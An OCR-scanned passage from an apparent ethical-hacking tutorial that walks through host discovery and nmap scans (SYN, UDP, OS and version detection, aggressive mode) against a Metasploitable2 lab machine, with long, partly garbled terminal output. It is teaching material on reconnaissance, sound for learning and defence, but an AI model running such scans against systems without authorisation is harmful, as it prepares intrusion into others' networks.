TX packets:128 errors:0 dropped:0 overruns:0 carrier:@
collisions:0 txqueuelen:0@

RX bytes:36113 (35.2 KB) TX bytes:36113 (35.Z KB)

sfadmin@netasploitable: ™5
sfadmin@netasploitable:™5

$ Ping 192.168.0.4



.o /home/ncim
ping 192.168.0.4

PING 192.168.0.4 (192.
64 bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.
bytes from 192.168.

.0.4) 56(84) bytes of data.

: icmp seg=1 ttl=64 time=3.64 ms
icmp seq=2 ttl=64 time=0.443 ms
icmp seqg=3 ttl=64 time=0.544 ms
icmp _seq=4 ttl=64 time=0.349 ms
icmp_seq=5 ttl=64 time=0.476 ms
icmp_seq=6 ttl=64 time=9.96 ms
icmp _seq=7 ttl=64 time=2.50 ms
icmp seq=8 ttl=64 time=1.48 ms
icmp seq=9 ttl=64 time=0.685 ms
icmp seq=10 ttl=64 time=0.672 ms
icmp _seqg=11 ttl=64 time=0.536 ms
icmp _seq=12 ttl=64 time=0.566 ms
icmp_seq=13 ttl=64 time=4.34 ms
icmp seq=14 ttl=64 time=2.56 ms
icmp seqg=15 ttl=64 time=0.773 ms
icmp _seq=16 ttl=64 time=0.483 ms
icmp _seq=17 ttl=64 time=0.394 ms
icmp seq=18 ttl=64 time=3.30 ms
icmp seq=19 ttl=64 time=2.08 ms
icmp seq=20 ttl=64 time=0.750 ms
icmp _seq=21 ttl=64 time=0.633 ms
icmp seq=22 ttl=64 time=29.8 ms
icmp seq=23 ttl=64 time=3.34 ms

SooooooSeeoeSSSeSseSesesk
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It will get responses back.

So this tool doesn't seem to be that good for discovering hosts. sometimes it
will have all the hosts available since you already communicated to them
before, but sometimes it seems that we must be the host first before the
shows, that's why a much better option is tool called netdiscover to run
netdiscover if we can simply just type:

$netdiscover



File Actions Edit View Help

Currently scanning: 192.168.29.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
Ip At MAC Address Count Len MAC Vendor / Hostname
£52:54:0 60 Unknown vendor
52:54:@ :. :‘.: ; 60 Unknown vendor
;

08:00:27:12: 60 PCS Systemtechnik GmbH
08:00:27:9b:ce: ; 60 PCS Systemtechnik GmbH

This tool finds all of the available devices on your network on its own, you
don't have to ping anything, you don't have to communicate with anything,
you can just leave this tool to run and it will find all the devices on your
network.

If you want to be sure which IP addresses belong to your router, you can
type
$ netstat —nr

-] /home/ncim
Kerﬂel-ip.foutiﬂg table
Destination Gateway s MSS Window irtt Iface
0.0.0.0 192.168.0.1 .0.0. 00 0 ethd
192.168.0.0 0.0.0.0 25525 00 0 ethd

- /home/ncim




It is time to start with the first big tool that is essential for ethical hackers,
that tool is called nmap, we're going to cover a lot of things inside of it. And
unlike all the other tools that we covered by now, which you might or might
not using penetration tests, this is a tool that you will almost always should
use. So what is nmap?

nmap is a network mapper. It is a free and open source network scanner. And
it is used to discover hosts and services on a computer network by sending
packets and analyzing responses. It has a lot of different options. let us just
see how we can start nmap and run a basic scan. First thing, make sure your
metasploitble is up and running. And also, if you've got any other devices in
your home network, turn them on just to we can scan them as well. OK, let's
see how we can run and nmap and what options do we get with that nmap?
Just like all the other tools, we can get the nmap help menu by only
specifying nmap in terminal.

$ nmap --help



- /home/ncim

Nmap 7.91 ( https://nmap.org )
Usage: nmap [Scan Type(s}] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.8.1; 18.8.8-255.1-254
-ilL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
—exclude <hostl[,host2][,host3], ... >! Exclude hosts/networks
—excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online — skip host discovery
-PS/PASPU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
—dns-servers <servl[,serv2], ...>! Specify custom DNS servers
—system-dns: Use 0S's DNS resolver
—traceroute: Trace hop path to each host
SCAN TECHNIQUES:
-55/5T/sA/sW/sM: TCP SYN/Connect( )/ACK/Window/Maimon scans
—-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
—scanflags <flags>! Customize TCP scan flags
-5I <zombie host[:probeport]>: Idle scan
-s¥/sZ: SCTP INIT/COOKIE-ECHO scans
-50! IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -pl-65535; -p U:53,111,137,T:21-25,808,139,808@,5:9
—exclude-ports <port ranges>: Exclude the specified ports from scanning
-F: Fast mode - Scan fewer ports thanm the default scan
-r: Scan ports consecutively - don't randomize
—top-ports <number>: Scan <number> most common ports
—port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
-s5V! Probe open ports to determine service/version info
—version-intensity <level>: Set from @ (light) to 9 (try all probes)
—wversion-light: Limit to most Llikely probes (intensity 2)
—wversion-all: Try every single probe (intensity 9)
—version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-5C! equivalent to —script=default
—script=<lua scripts>: <lua scripts> is a comma separated list of
directories, script-files or script-categories
—script-args=<nl=vl,[n2=v2, ... ]>: provide arguments to scripts
—script-args-file=filename: provide NSE script args in a file
—script-trace: Show all data sent and received
—script-updatedb: Update the script database.

And you see, we get a lot of options, it’s just a short help menu, we'll see the
longer menu once we start experimenting with these options, but for now,




we're only interested in running nmap with just a basic scan. So for basic
scan, all we need to do is specify an IP address, so I use my metasploitable
IP address

$ nmap 192.168.0.4

L$ nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 10:03 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0017s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp  open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajpl3
8180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in ©.36 seconds

e

This finished pretty fast, but don't get used to it, the only reason that this can
finish so fast is because the target is on my home network, sometimes some
nmap scan take hours to finish, depending on where your target is, how
many port they have open, are they protected by firewall and many other



things, but now this Is response of our first scan, its tells us the host is up, it
tells us which open port it has, we get the exact number of which ports are
open on the target machine, we can notice that there are a lot of ports that are
open and the reason is metasploitable is running a lot of services, and nmap
also tells you, besides the port that is opened, which service is running on the
open port? This is third column. So we can see that Port 21 is open and it is
running FTP, which we already know that it's file transfer protocol. We got
Port 22 to be open and that port is for secure shell. We got Port 80 that is
opened, and that is a HTTP port, and this could mean our metasploiteble
could be hosting a Web page. We can check this out if we type the IP address
of our metasploiteble inside of our Firefox.

» Metasploitable2 - Linux - Mozilla Firefox

Metasploitable2 - Linux ool 1+

= c & © £ 192.168.0.4 v In o @

o Kali Linux X Kali Training X[ Kali Tools X KaliForums ¢ KaliDocs o NetHunter Offensive Security MSFU # Exploit-DB

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[atImetasploit.com

Login with msfadmin/msfadmin to get started

o TWiki

¢ phpMyAdmin
« Mutillidae

« DVWA

+ WebDAV

this automatically go and try to connect to the Port 80 and indeed, it is
hosting a Web page.

So besides these known ports that we got, we also discovered a bunch of
other ports hosting different services and some of them could be vulnerable.

We also see not shown 977 close ports. But wait a second, I said that they're
over 65000 ports, why does it say that it didn't show only 977 ports or it
shows that only 977 ports are closed? That is because nmap by default scans



most known one thousand ports. It doesn't scan all sixty-five thousand, we
can tell it to scan all sixty-five thousand which we will see later on, but in
most cases it is not necessary.

Our first and nmap scan give us some results and all of these results from
our scans you would write down in our report in a real penetration test.

Now that we know how we can scan one IP address, let us see how we can
scan a range of IP addresses, let's say we want to scan our entire network,
and for this, once again, you must know your subnet or your network or your
networks IP range, we talked about this earlier.

For me is 10.0.2.15 So we can specify this in two different ways. We can
type:

$ Nmap 10.0.2.15-225

Or we can type it like this:

$ Nmap 10.0.2.15/24

that says first three octets are not changeable and by first reacted, I mean
first three numbers, which leaves us with only last that or last number that
will be changeable inside of our IP range. so let's scan it. Now, this might
take a little bit more time, since it is not only scanning one host, it is
scanning multiple hosts and even though it's scanning multiple hosts, it
finished relatively fast because it is scanning my own network.

$ Nmap 10.0.2.15/24
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nmap 10.0.2.15/24

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 10:54 EDT
Nmap scan report for 10.8.2.2
Host is up (0.020s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
903/tcp open iss-console-mgr
3389/tcp open ms-wbt-server
MAC Address: 52:54:00:12:35:02 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3

Host is up (0.018s latency).

Not shown: 995 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

903 open iss-console-mgr

338S9/tcp open ms-wbt-server

MAC Address: 52:54:00:12:35:03 (QEMU virtual NIC)

Nmap scan report for 10.0.2.4

Host is up (0.024s latency).

Not shown: 995 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

443/tcp open https

445/tcp open microsoft-ds

903/tcp open iss-console-mgr

3389/tcp open ms-wbt-server

MAC Address: 52:54:00:12:35:04 (QEMU virtual NIC)

Nmap scan report for 10.0.2.15
Host is up (0.0000060s latency).
All 1000 scanned ports on 10.0.2.15 are closed

Nmap done: 256 IP addresses (4 hosts up) scanned in 15.22 seconds

2 Jhome/ncim

That is the results. we got its IP address and we also got which port is open
on my home network.



It is time we discuss different types that we can do with a nmap now you
should know nmabp is a huge tool and it offers many different types of scans
that we can perform and we'll be covering just some since there are a lot of
them, talking about different scans doesn't necessarily mean that we will get
different results. Matter of fact, many of these different scans will give us the
same result.

To fully understand this, you will need a background knowledge on TCP and
UDP.

Let's start with the first type of scan, and that scan is called TCP SYN scan.
SYN scan is probably the most popular scan in nmap, it can be performed
quickly, scanning thousands of ports per second on networks that aren't
protected by a firewall. And the reason why it is called SYN scan is because
it never really opens the TCP connection. You only perform the first step of
a three-way handshake, which is sending SYN, and the way it works is if the
target sends SYN/ACK back for a certain port that indicates that that port is
listening or it is open. Target can also send something called RST, which
stands for Reset, which would indicate that the port is closed in case it
doesn't give any response back. After several tries, ports will be marked as
filtered and filtered is just another state of ports that happens once, and nmap
cannot determine whether a certain port is open or closed. The filter state
could happen if port is, for example, protected by some filtering or a
firewall. and now that we know exactly how TCP/SYN scan works, let's test
it.

The comment that we must run is

$nmap -sS 192.168.0.4
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nmap 192.168.0.4

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 12:25 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00038s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp  open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.43 seconds

® /home/ncim

And we will notice it gives us the results of ports that are open very fast and
it is also very important and satisfying once we know how certain scan type
works. Once again, it sends only the SYN and waits for a SYN/ACK or
AST, and it never establishes a full TCP connection.



Let us check out the result, so we got these ports open and we also got what
service is running on those open ports. Now, we got is the time that it took
and we're going to compare this with different scans. and the reason it
finished this fast is once again, it doesn't establish a connection. Compared
to this, SYN can that we just performed, we also got something called TCP
Connect scan. The only difference between this and previous scan is that
TCP connect scan establishes a full connection The important part here that
you should remember is that this scan will leave much more trace that you
performed an nmap scan on the target machine and it is easily detected.

So in order to run this, we can just change this comment:
$nmap -sT 192.168.1.1
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nmap 192.168.0.4

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 12:38 EDT
Nmap scan report for 192.168.0.4
Host is up (0.0026s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp  open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open 1irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds

® /home/ncim

The output will be exactly the same as with this SYN scan, but sometimes it
could take a little bit longer than the SYN scan it is performing a full TCP
connection, and even though we got the exact same result, which are just the
open ports and the services that they run, now, we know how both of these



can work, and now you know that, for example, this scan is much more
detectable than the thin SYN scan, or you can say that it just makes more
noise on target machine. Another scan that we're going to cover and (keep in
mind, these are just some of the scans and I will show you where you can
find the rest of them and possibly test them out if you want to) But the next
scan that I'm going to cover is pretty and popular, and that is also known as
UDP scan. The reason why it's unpopular is because many services on the
Internet run over TCP protocol, as we already know, since UDP scanning is
much slower than TCP scanning and more difficult sometimes when people
are developing security for their ports, they ignore the UDP ports, and this
results in a mistake as there are a lot of exploitable UDP services and we
should never ignore this again just because it takes time. Let us test it out on
my metasploitable

$ nmap -sU 192.168.0.4
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nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 12:40 EDT
Stats: 0:01:25 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 14.73% done; ETC: 12:48 (0:06:57 remaining)
Stats: 0:03:22 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 25.92% done; ETC: 12:52 (0:09:00 remaining)
Stats: 0:13:00 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 82.12% done; ETC: 12:56 (0:02:47 remaining)
Stats: 0:37:00 elapsed; @ hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 90.25% done; ETC: 13:21 (0:03:58 remaining)
Nmap scan report for 192.168.0.4
Host is up (0.00057s latency).
Not shown: 945 closed ports, 54 open|filtered ports
PORT  STATE SERVICE
53/udp open domain
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2376.29 seconds

e /home/ncim

So remember this, the key to learning nmap in great details is not in reading
help menu, but in reading nmap manual, and to open the nmap manual, you
should open a terminal and just type:

$ man nmap



In this file, it explains every nmap option in great detail, and if you scroll all
the way down, you will see that you are passing the actual help menu, that
we get outputted once we're on the --help and below this help menu, it
explains every option in great details, So depending on your target and what
you exactly want to get from the scan, you would pick one of them, and by
the way, about the nmap manual, you need to read that entire file, just it is
good to known that it exists. So sometimes when you forget something or
you want to check out the nmap has some other option that you need, you
can just open that manual and feed until you find what you need, nobody
expects you to know everything inside of that file, but after some time, you
will start picking some of the comments up and memorizing them.

Let's check out how we can figure out what operating system is our target
running just by scanning it with nmap. This feature is quite popular as they
have a database of thousands of known operating system fingerprints that
they compare with the host that you scan in order to find out what operating



system is it's running. But for this to work, a target machine must have at
least one port open and one port closed, which we need not to worry about,
since our metasploitable has both open and closed ports, however, it could
not work for some other targets, what I'm going to do is I'm going to try to
scan my metasploitable which is running Linux, and then I will try to scan
my Windows seven machine and windows ten machine, let us see what
results can we get.

$nmap -O 192.168.0.4
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nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 13:26 EDT
Nmap scan report for 192.168.0.4
Host is up (0.00074s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbhind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

0S detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds

In the OS details, it tells us which version exactly is it running and how
many host is the target distance from us? It says one, which means host is
inside of our network, and besides all of this, it also tells us that the machine
that we are scanning is a virtual machine, It managed to figure this out by the
Mac address that metasploitable has since virtual box machines have Mac
addresses that start the same, and these are these three first numbers, this is



really interesting because it can sometimes help us to realize that our target
is an actual virtual machine and not a physical machine, which could
possibly indicate that we're scanning a honeypot, which is usually a
purposely vulnerable virtual environment that is used to luring hackers in
order to find out whether they're being attacked. This is because usually an
attacker will go for the most vulnerable machine first, and that's how they
catch them, that machine could possibly be put there on purpose, So for
metasploitable, we got the correct result. It tells us that it is running Linux,
which is correct, it even tells us which version of Linux is running, and we
can also see right here by the Mac address that this is a virtual machine. So
we got a lot of useful results from metasploitable.

Let's try with my Windows 10 physical machine.
$nmap -0 127.0.0.1
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nmap 127.0.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 14:07 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000070s latency).
All 1000 scanned ports on localhost (127.0.0.1) are closed

Too many fingerprints match this host to give specific 0S details
Network Distance: @ hops

0S detection performed. Please report any incorrect results at https://nmap.or
g/submit/ .
Nmap done:; 1 IP address (1 host up) scanned in 1.94 seconds

And it tells me, it didn't manage to discover OS details. Now, why is that?
Well, because we can see all ports are closed or filtered, and remember, to
discover an operating system, we need at least one open port and one close
port in this case, there is really nothing that we can do to discover operating
system with that nmap, since all ports seem to be filtered.

Let's try the same of Windows seven machine, I know for a fact that
Windows seven virtual machine has one port open, so let's see whether it
will manage to figure out the operating system on that machine

$ nmap -O 192.168.21.1
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nmap 192.168.21.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 14:08 EDT
Nmap scan report for 192.168.21.1
Host is up (0.0047s latency).
Not shown: 993 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
903/tcp open iss-console-mgr
3389/ open ms-wbt-server
9418/tcp open git
Warning: 0SScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: bridge[general purpose
Running (JUST GUESSING): Oracle Virtualbox (97%), QEMU (93%)
0S CPE: cpe:/o:oracle:virtualbox cpe:/a:qgemu:qgemu
Aggressive 0S guesses: Oracle Virtualbox (97%), QEMU user mode network gateway
(93%)
No exact 0S matches for host (test conditions non-ideal).
0S detection performed. Please report any incorrect results at https://nmap.or
g/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.79 seconds

@ /home/ncim

And it gives us a bunch of always details, we have a warning that says
results may be unreliable because we could not find at least one open port
and one close port, it did manage to find one open port, but all the other
ports are filtered. However, based on this one open port, it tries to guess
what operating system it has and it was relatively close, it managed to guess
that the operating system and sometimes this could be enough for us, So we
can say that it managed to narrow it down for us, but it didn't really hit the
correct one, We know that it doesn't always work.



Let's check out how we can figure out the version of software running on an
open port. For now, we managed to discover open ports. We also learned
what defense can do and which ones are better to use, and we learned how
we can identify an operating system on some of the targets that we scan.
Now, let's see one of the most important parts that will also help us in
identifying vulnerabilities, So why do we care about versions of software so
much? For example, I might somehow find out that metasploitable is
running Apache Web server on port 80, but that doesn't narrow all the
possible attacks too much. Of course, it narrows it down to only search for
Apache vulnerabilities, but nmap can even go as far as discovering what
exact version of Apache is it running. Then, after knowing the version, we
can search about that version on the Internet and try to see whether there are
any known vulnerabilities for that specific version. So Version Discovery
helps us a lot and let's see how we can perform it.

To perform version Discovery, we use:
$nmap -sV 192.168.0.4
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nma 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 13:39 EDT
Stats: 0:01:01 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.00% done; ETC: 13:40 (@:00:00 remaining)
Nmap scan report for 192.168.0.4
Host is up (@.00031s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MysQL 5.0.51a-3ubuntub
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.31 seconds

® /home/ncim

This particular scan could take longer than other scans because right now we
are deeply scanning the target.

The new thing that we got from all the previous scans is the fourth column,
remember, once we scanned previously, we only got these first three
columns, which are the port number, the state of the port and the service that
it is running right now, we also get the version of the service. So let's go
quickly through this, we got port twenty-one, which is FTP, we got the exact
version of what type of software does it have for the SSH we got the same
thing, we got the Telnet, HTTP, vnc.

What we would do with this information, as I already mentioned, is we
would just try to search for some known vulnerabilities for the specified
versions, for example, if Apache version has a known vulnerability, we
would discover it by pasting this in Google and typing vulnerabilities. And
whatever comes up, we will test this on this target and see whether it works
or not, since some vulnerabilities could be patched. We never know so we
want to try it out. what you would do with this can see this is really useful.
We would have this report and we would use for the future references.



Let me show you another option that you can use with the version scan. And
that option is intensity of scanning versions.

after the version intensity, we need to specify how high we want the intensity
to be and it can be set between zero and nine, the default one which we used
in the last scan is seven. So every time you don't specify this option, it will
be seven by default. If we set it all the way up to nine, then we will have
higher possibility of identifying the correct service version, however, in
ninety-nine percent of nmap scan, this option is not needed you can just
leave it on default, which is seven. If you set it to nine, it will take longer
time, and since we are scanning a target that is on our own network, it will
still do it in just a few second or minutes, but if you were to scan the real
target nmap scans could take a lot more time to accomplish, so you always
want to consider not only performing most accurate scan possible, but also
performing scan be equally fast and accurate, So sometimes we have to lose
one thing in order to gain the other. That would be pretty much all for the
scanning.

$ nmap -sV --version-intensity 9 192.168.0.4
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nmap 9 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 13:45 EDT
Stats: @:00:24 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 6@.87% done; ETC: 13:45 (@:00:06 remaining)
Stats: 0:00:30 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 91.30% done; ETC: 13:45 (@:00:02 remaining)
Nmap scan report for 192.168.0.4
Host is up (@.00024s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp  open ssh OpenSSH 4.7pl Debian 8ubuntul (protocel 2.0)
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
53/tcp  open domain ISC BIND 9.4.2
80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MysSQL 5.8.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open wnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: @8:00:27:9B:CE:27 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.18 seconds

it's give us the same output as the previous one. So in this case, increase in
diversion intensity won't help us too much, and as far as these options go,
there are more options for the version of Discovery that you can check out
inside of the manual.

Let’s just see another options that we use a lot. -A is called aggressive
option, it’s enables some advanced features of nmap, those advanced
features are, well, first. It’s enables or OS detection without specifying the -
O that we already covered. It also enables the version detection without
specifying the -sV and it enables something called nmap script scanning
what is nmap scripts are, something that we will cover shortly. For now, just
remember that -A enables all of those things that we covered in the previous
scans, and since this is one of the more aggressive and nmap options, please
do not try this on targets that you do not have permission to scan, just keep
in mind that since it is using all of these options, it will take some time, even
if it is scanning our whole network.

$ nmap -A 192.168.0.4
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nmap 192.168.0.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-31 13:49 EDT
Stats: 0:01:05 elapsed; @ hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.03% done; ETC: 13:50 (0:00:00 remaining)
Nmap scan report for 192.168.0.4
Host is up (0.00080s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
_ftp-anon: Anonymous FTP login allowed (FTP code 230)
ftp-syst:
STAT:
FTP server status:
Connected to 192.168.0.5
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fast, stable
_End of status
22/tcp  open ssh OpenSSH 4.7pl Debian 8ubuntul (protecol 2.0)
ssh-hostkey:
1024 60:0f:cf:el:c@:5f:6a:74:d6:9@:24:fa:ch:d5:6c:cd (DSA)
2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp  open telnet Linux telnetd
25/tcp  open smtp Postfix smtpd
_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
_smtp-ntlm-info: ERROR: Script execution failed (use -d to debug)
53/tcp  open domain ISC BIND 9.4.2
dns-nsid:
_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
_http-title: Metasploitable2 - Linux
111/tcp open rpchind 2 (RPC #100000)
rpcinfo:
program version port/proto service

File Actions Edit View Help
program version port/proto service
100000 2 111/tcp  rpcbind
100000 111/udp  rpcbind
100003 2049/tcp  nfs
100003 2049/udp  nfs
100005 47377/udp  mountd
100005 59058/tcp  mountd
100021 38719/tcp  nlockmgr
100021 48407/udp  nlockmgr
100024 43342/udp  status
_ 100024 55604/tcp  status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.8.51a-3ubuntu5
mysql-info:
Protocol: 10
